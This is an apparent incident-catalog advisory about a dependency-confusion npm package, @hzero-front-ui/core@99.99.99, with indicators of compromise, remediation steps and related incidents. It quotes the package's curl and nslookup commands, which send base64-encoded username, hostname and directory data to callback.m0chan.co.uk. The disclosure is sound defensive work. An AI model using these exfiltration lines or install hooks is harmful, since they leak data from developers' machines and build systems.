Skip to content
supplychainattack.orgSupply chain attack incident catalog
resolvedcritical

Malicious code in @hzero-front-ui/core (npm)

Malicious package @hzero-front-ui/core@99.99.99 published to npm as a dependency-confusion attack. The package contains preinstall/install scripts that exfiltrate system information (username, hostname, working directory, package name) to attacker-controlled domains via HTTPS and DNS.

ShareXLinkedInHacker News
Disclosed
Last updated
Blast radius
Any build system or developer environment that resolves @hzero-front-ui/core from the public npm registry instead of an internal registry.
Ecosystems
npm
Attack vectors
Dependency confusionCompromised package
Affected entities
  • @hzero-front-ui/core · 99.99.99

A malicious package @hzero-front-ui/core@99.99.99 was published to the public npm registry as a dependency-confusion attack targeting an internal package of the same name. The package is a hollow shell with only preinstall and install lifecycle scripts containing functional code.\n\nWhen installed via npm install, the scripts execute commands to collect system metadata: the installer's username (via whoami), hostname, current working directory, and the npm package name. This information is base64-encoded and concatenated.\n\nThe encoded data is exfiltrated through two channels to attacker-controlled subdomains of callback.m0chan.co.uk: an HTTPS GET request (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The high version number (99.99.99) and org-shaped scope are typical indicators of dependency-confusion attacks designed to be selected by package managers that mis-resolve internal package names to the public registry.\n\nThe incident was identified and credited to the OpenSSF malicious-packages project.

Indicators of compromise

Packages
  • @hzero-front-ui/core@99.99.99
Domains
  • callback.m0chan.co.uk

Remediation

  • Remove @hzero-front-ui/core@99.99.99 from all package-lock.json, yarn.lock, and pnpm-lock.yaml files.
  • Audit npm install logs and build system logs for execution of the malicious package between publication and removal.
  • Review system access logs on any machine where the package was installed for signs of compromise.
  • If the package was installed in a build system, rotate credentials and review for unauthorized access.
  • Configure npm to use an internal registry for scoped packages like @hzero-front-ui/* to prevent future dependency-confusion attacks.
  • Monitor for similar high-version packages published under the @hzero-front-ui scope.

Sources

  1. GitHub Advisory GHSA-3fqm-rv2m-r2mg · GitHub Advisory Database

Cite this entry

"Malicious code in @hzero-front-ui/core (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 13, 2026; last updated August 13, 2026. https://supplychainattack.org/incident/malicious-code-in-hzero-front-ui-core-npm-pn3i1d

Suggest a correction

Found an error or have a newer source? Corrections to factual errors take priority over new entries.

Related incidents

  1. containedcritical

    Malicious code in stillm4ddpocs-demo-sprocket (npm)

    The npm package stillm4ddpocs-demo-sprocket version 999.9.12 contains malicious code that exfiltrates system and project metadata via multiple channels (HTTPS, HTTP, and DNS) to a hardcoded callback host. The package uses a high version number to exploit dependency-confusion attacks against organizations with internal packages of the same name.

    npmCompromised packageDependency confusion
  2. resolvedcritical

    Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

    Malicious package @usaa-grp-personal-profile/personal-profile-common version 999.0.0 published to public npm as a dependency-confusion attack targeting an organization's internal registry. The package contains preinstall and postinstall hooks that exfiltrate hostname, username, and working directory to an attacker-controlled OAST endpoint on every install.

    npmDependency confusionCompromised package
  3. resolvedcritical

    Malicious code in lumen-pages-community (npm)

    lumen-pages-community@9.9.9 on npm contains malicious code that executes a postinstall hook to exfiltrate installer metadata (hostname, username, working directory, platform, Node version, CI environment, npm user-agent) to a hardcoded webhook.site URL. The high version number and lack of functionality suggest a dependency-confusion attack.

    npmCompromised packageDependency confusion
  4. resolvedcritical

    Malicious code in @gfe/lx-watcher (npm)

    The npm package @gfe/lx-watcher contained malicious code that exfiltrated host metadata (hostname, OS username, working directory, timestamp) via npm lifecycle hooks to a hardcoded webhook.site endpoint. The package exploited dependency confusion by using a scoped name (@gfe/*) with a no-op stub, allowing silent resolution against the public registry while leaking host identifiers.

    npmDependency confusionCompromised package